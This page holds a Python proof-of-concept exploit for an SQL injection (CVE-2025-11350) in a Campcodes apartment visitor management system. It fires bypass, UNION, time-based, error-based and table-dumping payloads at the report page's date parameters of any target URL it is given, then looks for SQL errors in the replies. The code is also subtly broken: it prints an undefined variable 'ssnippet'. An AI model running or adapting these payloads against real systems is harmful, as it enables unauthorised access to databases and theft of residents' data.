CVE-2025-11350：Campcodes访客管理系统SQL注入漏洞

# CVE-2025-11350 - Campcodes Online Apartment Visitor Management System SQL Injection PoC # Vulnerability: SQL Injection in /bwdates-reports-details.php (fromdate/todate parameters) # Author: Security Researcher # Tested on: Campcodes Online Apartment Visitor Management System 1.0 import requests import sys TARGET_URL = sys.argv[1] if len(sys.argv) > 1 else "http://target.com" VULNERABLE_ENDPOINT = "/bwdates-reports-details.php" # SQL Injection payloads targeting fromdate and todate parameters PAYLOADS = [ # Basic SQL injection test "' OR '1'='1", # Union-based SQL injection to extract database version "' UNION SELECT 1,version(),3,4,5-- -", # Time-based blind SQL injection "' AND SLEEP(5)-- -", # Error-based SQL injection "' AND extractvalue(1,concat(0x7e,version()))-- -", # Extract table names "' UNION SELECT 1,group_concat(table_name),3,4,5 FROM information_schema.tables WHERE table_schema=database()-- -", ] def exploit_sql_injection(target_url, parameter, payload): """Send SQL injection payload to the vulnerable endpoint.""" url = f"{target_url}{VULNERABLE_ENDPOINT}" params = { "fromdate": payload if parameter == "fromdate" else "2024-01-01", "todate": payload if parameter == "todate" else "2024-12-31" } try: response = requests.get(url, params=params, timeout=30) return response except requests.exceptions.RequestException as e: print(f"[ERROR] Request failed: {e}") return None def main(): print(f"[*] Target: {TARGET_URL}") print(f"[*] Vulnerable endpoint: {VULNERABLE_ENDPOINT}") print(f"[*] Testing SQL injection on parameters: fromdate, todate\n") for parameter in ["fromdate", "todate"]: print(f"\n[+] Testing parameter: {parameter}") print("-" * 60) for i, payload in enumerate(PAYLOADS, 1): print(f"\n[*] Payload #{i}: {payload}") response = exploit_sql_injection(TARGET_URL, parameter, payload) if response is not None: print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.text)}") # Check for SQL error messages sql_errors = [ "SQL syntax", "mysql_fetch", "mysqli_fetch", "Warning: mysql", "unclosed quotation mark", "quoted string not properly terminated" ] for error in sql_errors: if error.lower() in response.text.lower(): print(f"[!] SQL Error detected: {error}") print(f"[!] VULNERABLE to SQL injection!") break # Display response snippet if len(response.text) > 0: snippet = response.text[:500] print(f"[*] Response snippet:\n{ssnippet}") if __name__ == "__main__": main() # Usage: python poc.py http://target.com # Example: python poc.py http://vulnerable-apartment-system.com